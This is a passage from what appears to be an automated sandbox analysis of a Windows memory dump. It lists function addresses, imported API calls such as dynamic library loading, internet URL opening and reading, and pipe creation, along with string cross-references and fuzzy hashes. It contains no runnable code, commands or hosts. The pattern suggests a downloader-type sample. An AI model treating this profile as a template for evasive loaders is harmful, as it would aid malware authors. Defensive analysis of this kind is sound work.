WideCharToMultiByte.KERNEL32 ref: 00007FF70D6F1BF8

Part of subcall function 00007FF70D6F1280: GetProcAddress.KERNEL32 ref: 00007FF70D6F1344

lstrcpyA.KERNEL32 ref: 00007FF70D6F1C39
VariantClear.OLEAUT32 ref: 00007FF70D6F1C5E
lstrcpyW.KERNEL32 ref: 00007FF70D6F1D62
lstrlenW.KERNEL32 ref: 00007FF70D6F1DA6
WideCharToMultiByte.KERNEL32 ref: 00007FF70D6F1DD4
GetProcessHeap.KERNEL32 ref: 00007FF70D6F1DDD
HeapAlloc.KERNEL32 ref: 00007FF70D6F1DEB
GetProcessHeap.KERNEL32 ref: 00007FF70D6F1E36
HeapFree.KERNEL32 ref: 00007FF70D6F1E44

Part of subcall function 00007FF70D6F1370: GetFileVersionInfoSizeA.VERSION ref: 00007FF70D6F13A2
Part of subcall function 00007FF70D6F1370: GetProcessHeap.KERNEL32 ref: 00007FF70D6F13AE
Part of subcall function 00007FF70D6F1370: HeapAlloc.KERNEL32 ref: 00007FF70D6F13BC
Part of subcall function 00007FF70D6F1370: GetFileVersionInfoA.VERSION ref: 00007FF70D6F13D5
Part of subcall function 00007FF70D6F1370: GetProcessHeap.KERNEL32 ref: 00007FF70D6F13DF
Part of subcall function 00007FF70D6F1370: HeapFree.KERNEL32 ref: 00007FF70D6F13ED

VariantClear.OLEAUT32 ref: 00007FF70D6F1E77
GetProcessHeap.KERNEL32 ref: 00007FF70D6F1E86
HeapAlloc.KERNEL32 ref: 00007FF70D6F1E95
GetProcessHeap.KERNEL32 ref: 00007FF70D6F1EB4
HeapAlloc.KERNEL32 ref: 00007FF70D6F1EC2

Strings

s, xrefs: 00007FF70D6F1530
a, xrefs: 00007FF70D6F1526
F, xrefs: 00007FF70D6F150D
d, xrefs: 00007FF70D6F14F5
_, xrefs: 00007FF70D6F14FD
p, xrefs: 00007FF70D6F152B
_, xrefs: 00007FF70D6F14ED
m, xrefs: 00007FF70D6F1508
s, xrefs: 00007FF70D6F1517
F, xrefs: 00007FF70D6F151C
a, xrefs: 00007FF70D6F153A
F, xrefs: 00007FF70D6F1544
@, xrefs: 00007FF70D6F153F
:, xrefs: 00007FF70D6F1535
, xrefs: 00007FF70D6F18E0
q, xrefs: 00007FF70D6F1521
:, xrefs: 00007FF70D6F1512

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$lstrcpy$Alloc$ByteCharMultiWide$ClearFreeVariant$AddressFileInfoProcVersionlstrlen$Size
String ID: $:$:$@$F$F$F$_$_$a$a$d$m$p$q$s$s
API String ID: 1557644245-2297322784
Opcode ID: 41aa6aed5d17e0026eb3cec3f3d5e4499986a810513efc560054ca8d61d57fa3
Instruction ID: effc1f747fd88da93a9053389c60afb08ec57a1553b3c694d191f8557a4a1119
Opcode Fuzzy Hash: 41aa6aed5d17e0026eb3cec3f3d5e4499986a810513efc560054ca8d61d57fa3
Instruction Fuzzy Hash: 6F526A26A18B818AE710DFB5E8403AE7771FF59788F406129EA4D87B68EF3DC504C715

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F3040, Relevance: 88.0, APIs: 32, Strings: 18, Instructions: 550memorystringlibraryCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6F3152
lstrcpyW.KERNEL32 ref: 00007FF70D6F3232
lstrcpyW.KERNEL32 ref: 00007FF70D6F3302
lstrcpyW.KERNEL32 ref: 00007FF70D6F3422
lstrcpyW.KERNEL32 ref: 00007FF70D6F3533
WideCharToMultiByte.KERNEL32 ref: 00007FF70D6F359B
GetProcessHeap.KERNEL32 ref: 00007FF70D6F35A4
HeapAlloc.KERNEL32 ref: 00007FF70D6F35B2
WideCharToMultiByte.KERNEL32 ref: 00007FF70D6F35E4
GetProcessHeap.KERNEL32 ref: 00007FF70D6F35F6
HeapFree.KERNEL32 ref: 00007FF70D6F3604
VariantClear.OLEAUT32 ref: 00007FF70D6F3611
lstrcpyW.KERNEL32 ref: 00007FF70D6F3671
VariantChangeType.OLEAUT32 ref: 00007FF70D6F36CA
StrFormatByteSizeEx.SHLWAPI ref: 00007FF70D6F36F0
WideCharToMultiByte.KERNEL32 ref: 00007FF70D6F3726
GetProcessHeap.KERNEL32 ref: 00007FF70D6F372F
HeapAlloc.KERNEL32 ref: 00007FF70D6F373D
WideCharToMultiByte.KERNEL32 ref: 00007FF70D6F3776
GetProcessHeap.KERNEL32 ref: 00007FF70D6F37CE
HeapFree.KERNEL32 ref: 00007FF70D6F37DC
VariantClear.OLEAUT32 ref: 00007FF70D6F37E9
lstrlenA.KERNEL32 ref: 00007FF70D6F3812
GetProcessHeap.KERNEL32 ref: 00007FF70D6F381F
HeapAlloc.KERNEL32 ref: 00007FF70D6F382D
lstrcpyA.KERNEL32 ref: 00007FF70D6F3842
GetProcessHeap.KERNEL32 ref: 00007FF70D6F389C
HeapReAlloc.KERNEL32 ref: 00007FF70D6F38AD
GetProcessHeap.KERNEL32 ref: 00007FF70D6F38B8
HeapAlloc.KERNEL32 ref: 00007FF70D6F38C7
GetProcessHeap.KERNEL32 ref: 00007FF70D6F38FC
HeapFree.KERNEL32 ref: 00007FF70D6F390B

Strings

:, xrefs: 00007FF70D6F30C5
a, xrefs: 00007FF70D6F30CA
_, xrefs: 00007FF70D6F3083
p, xrefs: 00007FF70D6F30BB
F, xrefs: 00007FF70D6F30D4
:, xrefs: 00007FF70D6F30A2
s, xrefs: 00007FF70D6F30A7
t, xrefs: 00007FF70D6F3784
a, xrefs: 00007FF70D6F30B6
_, xrefs: 00007FF70D6F3093
s, xrefs: 00007FF70D6F30C0
m, xrefs: 00007FF70D6F3098
@, xrefs: 00007FF70D6F30CF
d, xrefs: 00007FF70D6F308B
q, xrefs: 00007FF70D6F30B1
T, xrefs: 00007FF70D6F377C
F, xrefs: 00007FF70D6F309D
F, xrefs: 00007FF70D6F30AC

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$lstrcpy$AllocByte$CharMultiWide$FreeVariant$Clear$AddressChangeFormatProcSizeTypelstrlen
String ID: :$:$@$F$F$F$T$_$_$a$a$d$m$p$q$s$s$t
API String ID: 3051324482-1466609731
Opcode ID: 82942188a1e4ea04d3b67e42705664980b9459c894d61d7881a63bd6044d53f3
Instruction ID: f0b4c38bd6411d9199ce3fee618033e0cfbc672b08e02fa8ed11a0f1e910e79e
Opcode Fuzzy Hash: 82942188a1e4ea04d3b67e42705664980b9459c894d61d7881a63bd6044d53f3
Instruction Fuzzy Hash: 5142CF26A18B818AE710DF79E8403AD7771FF99B88F405125EA8D9BB68EF3CD144C714

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F6F20, Relevance: 87.9, APIs: 15, Strings: 35, Instructions: 405memorylibraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6F6FD7
GetProcAddress.KERNEL32 ref: 00007FF70D6F7058
CreateFileA.KERNEL32 ref: 00007FF70D6F709A
GetProcAddress.KERNEL32 ref: 00007FF70D6F7138
GetProcAddress.KERNEL32 ref: 00007FF70D6F71C0
GetProcessHeap.KERNEL32 ref: 00007FF70D6F71E0
HeapAlloc.KERNEL32 ref: 00007FF70D6F71EF
GetProcAddress.KERNEL32 ref: 00007FF70D6F7257
ReadFile.KERNEL32 ref: 00007FF70D6F727C
GetProcessHeap.KERNEL32 ref: 00007FF70D6F7282
HeapFree.KERNEL32 ref: 00007FF70D6F7290
FindCloseChangeNotification.KERNEL32 ref: 00007FF70D6F72D4
GetProcAddress.KERNEL32 ref: 00007FF70D6F74F8
GetProcessHeap.KERNEL32 ref: 00007FF70D6F7565
HeapFree.KERNEL32 ref: 00007FF70D6F7573

Strings

P, xrefs: 00007FF70D6F74BF
?, xrefs: 00007FF70D6F74A6
k, xrefs: 00007FF70D6F70C9
k, xrefs: 00007FF70D6F70DD
%, xrefs: 00007FF70D6F748D
/, xrefs: 00007FF70D6F7017
M, xrefs: 00007FF70D6F70A8
5, xrefs: 00007FF70D6F74B0
$, xrefs: 00007FF70D6F74BA
", xrefs: 00007FF70D6F74A1
Y, xrefs: 00007FF70D6F70CE
r, xrefs: 00007FF70D6F70C4
", xrefs: 00007FF70D6F7483
o, xrefs: 00007FF70D6F70BF
3, xrefs: 00007FF70D6F74B5
-, xrefs: 00007FF70D6F6FE5
1, xrefs: 00007FF70D6F7169
>, xrefs: 00007FF70D6F7164
K, xrefs: 00007FF70D6F70E2
o, xrefs: 00007FF70D6F70D3
9, xrefs: 00007FF70D6F747B
:, xrefs: 00007FF70D6F715A
$, xrefs: 00007FF70D6F7488
~, xrefs: 00007FF70D6F70E7
3, xrefs: 00007FF70D6F714B
k, xrefs: 00007FF70D6F70B0
z, xrefs: 00007FF70D6F70B5
L, xrefs: 00007FF70D6F70BA
,, xrefs: 00007FF70D6F7155
n, xrefs: 00007FF70D6F701C
$, xrefs: 00007FF70D6F74AB
1, xrefs: 00007FF70D6F7492
<, xrefs: 00007FF70D6F7497
0, xrefs: 00007FF70D6F7150
(, xrefs: 00007FF70D6F7003

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressHeapProc$Process$FileFree$AllocChangeCloseCreateFindNotificationRead
String ID: "$"$$$$$$$%$($,$-$/$0$1$1$3$3$5$9$:$<$>$?$K$L$M$P$Y$k$k$k$n$o$o$r$z$~
API String ID: 2459047351-1438227616
Opcode ID: 9352dbd57fc49dc40077e76671ee3bc2cbab0bf2b6a87698c96a559d1ff848d3
Instruction ID: ed8a018097be96a6a37db07f8ff04e202ea9f6638c5981cde74fea99cc870408
Opcode Fuzzy Hash: 9352dbd57fc49dc40077e76671ee3bc2cbab0bf2b6a87698c96a559d1ff848d3
Instruction Fuzzy Hash: ED12D612E0C7C189F711D779E8043AEBFA2AB56788F580065EB8817B9ADF7DD405CB21

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F39B0, Relevance: 84.5, APIs: 28, Strings: 20, Instructions: 542memorystringlibraryCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6F3AB2
lstrcpyW.KERNEL32 ref: 00007FF70D6F3B93
lstrcpyW.KERNEL32 ref: 00007FF70D6F3C63
lstrcpyW.KERNEL32 ref: 00007FF70D6F3D82
lstrcpyW.KERNEL32 ref: 00007FF70D6F3E99
WideCharToMultiByte.KERNEL32 ref: 00007FF70D6F3EF7
GetProcessHeap.KERNEL32 ref: 00007FF70D6F3F00
HeapAlloc.KERNEL32 ref: 00007FF70D6F3F0E
WideCharToMultiByte.KERNEL32 ref: 00007FF70D6F3F40
GetProcessHeap.KERNEL32 ref: 00007FF70D6F3F52
HeapFree.KERNEL32 ref: 00007FF70D6F3F60
VariantClear.OLEAUT32 ref: 00007FF70D6F3F6A
lstrcpyW.KERNEL32 ref: 00007FF70D6F3FE2
WideCharToMultiByte.KERNEL32 ref: 00007FF70D6F4040
GetProcessHeap.KERNEL32 ref: 00007FF70D6F4049
HeapAlloc.KERNEL32 ref: 00007FF70D6F4057
WideCharToMultiByte.KERNEL32 ref: 00007FF70D6F408D
GetProcessHeap.KERNEL32 ref: 00007FF70D6F40DE
HeapFree.KERNEL32 ref: 00007FF70D6F40EC
VariantClear.OLEAUT32 ref: 00007FF70D6F40F6
lstrcpyW.KERNEL32 ref: 00007FF70D6F4164
WideCharToMultiByte.KERNEL32 ref: 00007FF70D6F41C2
GetProcessHeap.KERNEL32 ref: 00007FF70D6F41CB
HeapAlloc.KERNEL32 ref: 00007FF70D6F41D9
WideCharToMultiByte.KERNEL32 ref: 00007FF70D6F420F
GetProcessHeap.KERNEL32 ref: 00007FF70D6F425E
HeapFree.KERNEL32 ref: 00007FF70D6F426C
VariantClear.OLEAUT32 ref: 00007FF70D6F4276

Strings

a, xrefs: 00007FF70D6F3A1F
:, xrefs: 00007FF70D6F3A0B
s, xrefs: 00007FF70D6F3A10
p, xrefs: 00007FF70D6F3A24
G, xrefs: 00007FF70D6F409B
8, xrefs: 00007FF70D6F421A
@, xrefs: 00007FF70D6F3A38
g, xrefs: 00007FF70D6F4093
F, xrefs: 00007FF70D6F3A3D
:, xrefs: 00007FF70D6F3A2E
s, xrefs: 00007FF70D6F3A29
a, xrefs: 00007FF70D6F3A33
o, xrefs: 00007FF70D6F3B02
F, xrefs: 00007FF70D6F3A15
_, xrefs: 00007FF70D6F39FC
q, xrefs: 00007FF70D6F3A1A
F, xrefs: 00007FF70D6F3A06
_, xrefs: 00007FF70D6F39EC
m, xrefs: 00007FF70D6F3A01
d, xrefs: 00007FF70D6F39F4

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$ByteCharMultiProcessWidelstrcpy$AllocClearFreeVariant$AddressProc
String ID: 8$:$:$@$F$F$F$G$_$_$a$a$d$g$m$o$p$q$s$s
API String ID: 2197831559-1932370838
Opcode ID: dc40bce8960e7fc1562a1312081af8316d7c90a701d8d3b8642afc6c17a84192
Instruction ID: d3f67c88f8fc292fc5e109983a97fbb68e2298f9abdd8e217711541b10eb3565
Opcode Fuzzy Hash: dc40bce8960e7fc1562a1312081af8316d7c90a701d8d3b8642afc6c17a84192
Instruction Fuzzy Hash: 3242A026A18B818AE710DFB9E8403AD7771FF59788F445129EA8D97BA8EF3CC504C714

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6EDE80, Relevance: 40.7, APIs: 17, Strings: 6, Instructions: 450memorylibrarystringCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70D6EE101
HeapAlloc.KERNEL32 ref: 00007FF70D6EE112
lstrcpyA.KERNEL32 ref: 00007FF70D6EE12C
lstrcatA.KERNEL32 ref: 00007FF70D6EE139
GetProcAddress.KERNEL32 ref: 00007FF70D6EE201
InternetOpenUrlA.WININET ref: 00007FF70D6EE220

Part of subcall function 00007FF70D6ED980: GetProcAddress.KERNEL32 ref: 00007FF70D6EDA51

GetProcessHeap.KERNEL32 ref: 00007FF70D6EE260
HeapAlloc.KERNEL32 ref: 00007FF70D6EE26E
GetProcessHeap.KERNEL32 ref: 00007FF70D6EE2A1
HeapFree.KERNEL32 ref: 00007FF70D6EE2AF

Part of subcall function 00007FF70D6E1220: LoadLibraryA.KERNEL32 ref: 00007FF70D6E12B4
Part of subcall function 00007FF70D6E1220: LoadLibraryA.KERNEL32 ref: 00007FF70D6E1371

Part of subcall function 00007FF70D703678: EnterCriticalSection.KERNEL32 ref: 00007FF70D703688
Part of subcall function 00007FF70D703678: LeaveCriticalSection.KERNEL32 ref: 00007FF70D7036C8

Part of subcall function 00007FF70D6F6920: GetProcAddress.KERNEL32 ref: 00007FF70D6F69C4

RtlDeleteBoundaryDescriptor.NTDLL ref: 00007FF70D6EE2B5
GetProcessHeap.KERNEL32 ref: 00007FF70D6EE2C6
HeapFree.KERNEL32 ref: 00007FF70D6EE2D4
GetProcessHeap.KERNEL32 ref: 00007FF70D6EE2DA
HeapFree.KERNEL32 ref: 00007FF70D6EE2E9

Part of subcall function 00007FF70D703420: GetProcAddress.KERNEL32 ref: 00007FF70D7034F1
Part of subcall function 00007FF70D703420: InternetReadFile.WININET ref: 00007FF70D703505

GetProcAddress.KERNEL32 ref: 00007FF70D6EE5C6
SleepEx.KERNEL32 ref: 00007FF70D6EE5CE

Strings

p, xrefs: 00007FF70D6EE57B
p, xrefs: 00007FF70D6EDEB5
e, xrefs: 00007FF70D6EE571
e, xrefs: 00007FF70D6EE576
S, xrefs: 00007FF70D6EE567
l, xrefs: 00007FF70D6EE56C

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$AddressProcProcess$Free$AllocCriticalInternetLibraryLoadSection$BoundaryDeleteDescriptorEnterFileLeaveOpenReadSleeplstrcatlstrcpy
String ID: S$e$e$l$p$p
API String ID: 2894499566-1687715753
Opcode ID: f0cb7dc40c6272f9d4111ec7cf5a68578f2ee92f31e0d4ecad52ad20f3649b19
Instruction ID: 699ed1c91007cba8641e463af0fb1207e9eb3c92373c6f88a7b7a6f7b0536481
Opcode Fuzzy Hash: f0cb7dc40c6272f9d4111ec7cf5a68578f2ee92f31e0d4ecad52ad20f3649b19
Instruction Fuzzy Hash: FE329412E1C7C28DF301E7B5EC043BC6BA1AB6A34CF851275EA4D166A6EF7DA144C721

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6FC950, Relevance: 35.3, APIs: 6, Strings: 14, Instructions: 295memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70D6FC6B0: GetProcAddress.KERNEL32 ref: 00007FF70D6FC764
Part of subcall function 00007FF70D6FC6B0: CreatePipe.KERNEL32 ref: 00007FF70D6FC778

Part of subcall function 00007FF70D6F66C0: GetProcAddress.KERNEL32 ref: 00007FF70D6F6764

Part of subcall function 00007FF70D6F5990: GetProcAddress.KERNEL32 ref: 00007FF70D6F5A05

Part of subcall function 00007FF70D6F5700: GetProcAddress.KERNEL32 ref: 00007FF70D6F5775

Part of subcall function 00007FF70D6F5900: GetProcAddress.KERNEL32 ref: 00007FF70D6F5975

GetProcessHeap.KERNEL32 ref: 00007FF70D6FCAD1
HeapAlloc.KERNEL32 ref: 00007FF70D6FCAE3

Strings

g, xrefs: 00007FF70D6FCC5C
i, xrefs: 00007FF70D6FCC39
E, xrefs: 00007FF70D6FCC70
w, xrefs: 00007FF70D6FCC6B
v, xrefs: 00007FF70D6FCC52
e, xrefs: 00007FF70D6FCC3E
v, xrefs: 00007FF70D6FCC32
i, xrefs: 00007FF70D6FCC61
w, xrefs: 00007FF70D6FCC66
s, xrefs: 00007FF70D6FCC57
x, xrefs: 00007FF70D6FCC43
T, xrefs: 00007FF70D6FCC4D
i, xrefs: 00007FF70D6FCC48
G, xrefs: 00007FF70D6FCC2A

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc$Heap$AllocCreatePipeProcess
String ID: E$G$T$e$g$i$i$i$s$v$v$w$w$x
API String ID: 2071296456-414272908
Opcode ID: d128b35b6b098ef79afd021db566aafb25ce501c8f94323e44c922b5d07d9dff
Instruction ID: b52b5ad025d85c1efbc86ac4239275717fb5b8841dc331142eaa705e5bb6fd9d
Opcode Fuzzy Hash: d128b35b6b098ef79afd021db566aafb25ce501c8f94323e44c922b5d07d9dff
Instruction Fuzzy Hash: 91D13032E0CB4285EA10F766E8551FEA796AF497D4F805439FA8D4778AEF3DE0048760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E5020, Relevance: 31.5, APIs: 25, Instructions: 252memorystringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI ref: 00007FF70D6E512C
StrSpnA.SHLWAPI ref: 00007FF70D6E517B
StrPBrkA.SHLWAPI ref: 00007FF70D6E51CB
lstrlenA.KERNEL32 ref: 00007FF70D6E51E0

Part of subcall function 00007FF70D6EC6C0: GetProcAddress.KERNEL32 ref: 00007FF70D6EC766

GetProcessHeap.KERNEL32 ref: 00007FF70D6E51F8
HeapAlloc.KERNEL32 ref: 00007FF70D6E5206
lstrcpynA.KERNEL32 ref: 00007FF70D6E5222
GetProcessHeap.KERNEL32 ref: 00007FF70D6E5234
HeapFree.KERNEL32 ref: 00007FF70D6E5243
GetProcessHeap.KERNEL32 ref: 00007FF70D6E5296
HeapAlloc.KERNEL32 ref: 00007FF70D6E52A4
GetProcessHeap.KERNEL32 ref: 00007FF70D6E52D8
HeapFree.KERNEL32 ref: 00007FF70D6E52E6
GetProcessHeap.KERNEL32 ref: 00007FF70D6E52EC
HeapFree.KERNEL32 ref: 00007FF70D6E52FA
GetProcessHeap.KERNEL32 ref: 00007FF70D6E5311
HeapFree.KERNEL32 ref: 00007FF70D6E531F
GetProcessHeap.KERNEL32 ref: 00007FF70D6E5350
HeapFree.KERNEL32 ref: 00007FF70D6E535E
GetProcessHeap.KERNEL32 ref: 00007FF70D6E5369
HeapFree.KERNEL32 ref: 00007FF70D6E5377
GetProcessHeap.KERNEL32 ref: 00007FF70D6E5380
HeapFree.KERNEL32 ref: 00007FF70D6E538F
GetProcessHeap.KERNEL32 ref: 00007FF70D6E539A
HeapFree.KERNEL32 ref: 00007FF70D6E53A8

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$Free$Alloc$AddressProclstrcpynlstrlen
String ID:
API String ID: 2168060780-0
Opcode ID: bdcb7c2c039c3bfdb70fd42298aa55092c0f8c9e99efb9b833dfdd0f9ded7525
Instruction ID: 19aaefb2622d8d16654375a0af0694370f461e82031ac43c0ebf675f511cdb1d
Opcode Fuzzy Hash: bdcb7c2c039c3bfdb70fd42298aa55092c0f8c9e99efb9b833dfdd0f9ded7525
Instruction Fuzzy Hash: 00C16326F0C78289E710DBB5E8142AC7BA6AF4978CF854178DE4E67B59EF3D91058320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F4C50, Relevance: 19.9, APIs: 13, Instructions: 392memorystringlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70D6EFE00: GetProcAddress.KERNEL32 ref: 00007FF70D6EFEA9
Part of subcall function 00007FF70D6EFE00: GetProcAddress.KERNEL32 ref: 00007FF70D6EFF31
Part of subcall function 00007FF70D6EFE00: SleepEx.KERNEL32 ref: 00007FF70D6EFF3D

lstrcpyW.KERNEL32 ref: 00007FF70D6F4CD1
lstrcpyW.KERNEL32 ref: 00007FF70D6F4D51
lstrcpyW.KERNEL32 ref: 00007FF70D6F4DF1
GetProcessHeap.KERNEL32 ref: 00007FF70D6F4E6A
HeapAlloc.KERNEL32 ref: 00007FF70D6F4E7B
GetProcessHeap.KERNEL32 ref: 00007FF70D6F4F2D
HeapFree.KERNEL32 ref: 00007FF70D6F4F3B
GetProcessHeap.KERNEL32 ref: 00007FF70D6F4F49
HeapAlloc.KERNEL32 ref: 00007FF70D6F4F5A
GetProcessHeap.KERNEL32 ref: 00007FF70D6F5010
HeapFree.KERNEL32 ref: 00007FF70D6F501E
GetProcAddress.KERNEL32 ref: 00007FF70D6F50E1
GetProcAddress.KERNEL32 ref: 00007FF70D6F51C5

Part of subcall function 00007FF70D6E2710: GetProcAddress.KERNEL32 ref: 00007FF70D6E27D6

Part of subcall function 00007FF70D703320: GetProcAddress.KERNEL32 ref: 00007FF70D703403
Part of subcall function 00007FF70D703320: InternetCloseHandle.WININET ref: 00007FF70D70340C

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$AddressProc$Process$lstrcpy$AllocFree$CloseHandleInternetSleep
String ID:
API String ID: 836691496-0
Opcode ID: 49b6fda1bf64da6519e4f360e4df2edf9251f60e73b7d19e84742f0dbe9ce5ab
Instruction ID: 093c5336f288e73796f6df6acbae8b03790aa6d0fa4c11204acacf8f3a594f44
Opcode Fuzzy Hash: 49b6fda1bf64da6519e4f360e4df2edf9251f60e73b7d19e84742f0dbe9ce5ab
Instruction Fuzzy Hash: E412AF12E1C7C289E700EB78D8143FC67A1EF6978CF849135EA4D97696FF699648C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E1220, Relevance: 16.9, APIs: 11, Instructions: 438libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF70D6E12B4
LoadLibraryA.KERNEL32 ref: 00007FF70D6E1371
LoadLibraryA.KERNEL32 ref: 00007FF70D6E13F7
LoadLibraryA.KERNEL32 ref: 00007FF70D6E14A1
LoadLibraryA.KERNEL32 ref: 00007FF70D6E1514
LoadLibraryA.KERNEL32 ref: 00007FF70D6E15D1
LoadLibraryA.KERNEL32 ref: 00007FF70D6E1647
LoadLibraryA.KERNEL32 ref: 00007FF70D6E16C7
LoadLibraryA.KERNEL32 ref: 00007FF70D6E1744
LoadLibraryA.KERNEL32 ref: 00007FF70D6E17C4
LoadLibraryA.KERNEL32 ref: 00007FF70D6E1881

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: babf546cce919ead6c16dbc88f1d9df9d8ab9c9bc464615f1e3cb01f07bdf279
Instruction ID: 6077455919a66a7a8842516286bba5ac2ad64aae9accee777d579c0d994d9ea8
Opcode Fuzzy Hash: babf546cce919ead6c16dbc88f1d9df9d8ab9c9bc464615f1e3cb01f07bdf279
Instruction Fuzzy Hash: AC228612A0C7C18DF305DB78D8183EC7FA6972734CF485268EA895BB9AEB7D9105C325

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F0DF0, Relevance: 16.7, APIs: 11, Instructions: 205memorylibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70D6ED980: GetProcAddress.KERNEL32 ref: 00007FF70D6EDA51

GetProcessHeap.KERNEL32 ref: 00007FF70D6F0E51
HeapAlloc.KERNEL32 ref: 00007FF70D6F0E5F
GetProcAddress.KERNEL32 ref: 00007FF70D6F0FB1
InternetQueryDataAvailable.WININET ref: 00007FF70D6F0FC4
GetProcessHeap.KERNEL32 ref: 00007FF70D6F0FDA
HeapReAlloc.KERNEL32 ref: 00007FF70D6F0FEB

Part of subcall function 00007FF70D703420: GetProcAddress.KERNEL32 ref: 00007FF70D7034F1
Part of subcall function 00007FF70D703420: InternetReadFile.WININET ref: 00007FF70D703505

GetProcessHeap.KERNEL32 ref: 00007FF70D6F1085
HeapFree.KERNEL32 ref: 00007FF70D6F1093

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$AddressProcProcess$AllocInternet$AvailableDataFileFreeQueryRead
String ID:
API String ID: 2399147988-0
Opcode ID: abe9f40254540e8625f10ba23e2c13702bbfe388848e6bd3ae88a22cf492b4f3
Instruction ID: 10c563da9e923101d2053a3102fa02d9179e76e6c367a3f089d4d13da3dc88c1
Opcode Fuzzy Hash: abe9f40254540e8625f10ba23e2c13702bbfe388848e6bd3ae88a22cf492b4f3
Instruction Fuzzy Hash: FD81B322F0C78289F700E775EC443AD6AA5AF597C8F844039EE4D67B89EF7D95058320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6EFE00, Relevance: 7.8, APIs: 5, Instructions: 276libraryloadernetworkCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6EFEA9
GetProcAddress.KERNEL32 ref: 00007FF70D6EFF31
SleepEx.KERNEL32 ref: 00007FF70D6EFF3D
GetProcAddress.KERNEL32 ref: 00007FF70D6F01E5
InternetOpenA.WININET ref: 00007FF70D6F01FB

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc$InternetOpenSleep
String ID:
API String ID: 1515721240-0
Opcode ID: f4c14bf39fe2ea607722eae51ef3610baaa491491c86d3f394f1d4050895a04c
Instruction ID: f2e37d4db84b9a21a8926df8777730ef248093d928d628cdd46ff740d3c01683
Opcode Fuzzy Hash: f4c14bf39fe2ea607722eae51ef3610baaa491491c86d3f394f1d4050895a04c
Instruction Fuzzy Hash: C4E10012A0C7C0CCF312C7B894487DD3FA5472638CF484199DB992AF8AD7AE9249C776

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D703420, Relevance: 3.1, APIs: 2, Instructions: 73libraryfileloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D7034F1
InternetReadFile.WININET ref: 00007FF70D703505

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressFileInternetProcRead
String ID:
API String ID: 2685400884-0
Opcode ID: 45606fc10db02fa2ce1ecc95b107eab36e8951b561ba78d4195b26a566193c37
Instruction ID: 72f4f2a352b5d440cd33b9d5324f5a72e5a1e0ae7b8d7b3fbc4150a1e867ca6f
Opcode Fuzzy Hash: 45606fc10db02fa2ce1ecc95b107eab36e8951b561ba78d4195b26a566193c37
Instruction Fuzzy Hash: 1531C11671D3D08AE30A8729D80C31D6E9553EAB88F4C8169DB854F79ADABDC206C761

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F6250, Relevance: 3.1, APIs: 2, Instructions: 52libraryloadertimeCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6F62F4
GetTimeZoneInformation.KERNEL32 ref: 00007FF70D6F62FD

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressInformationProcTimeZone
String ID:
API String ID: 4094260719-0
Opcode ID: d3693dcd36643ca6abfb8f65bff24ab356b30614a09e82994ea5443d94b5ed08
Instruction ID: ae91d3789c0670683eb124906f534be2b474750bbad8ed91d594dd52fe8a9efd
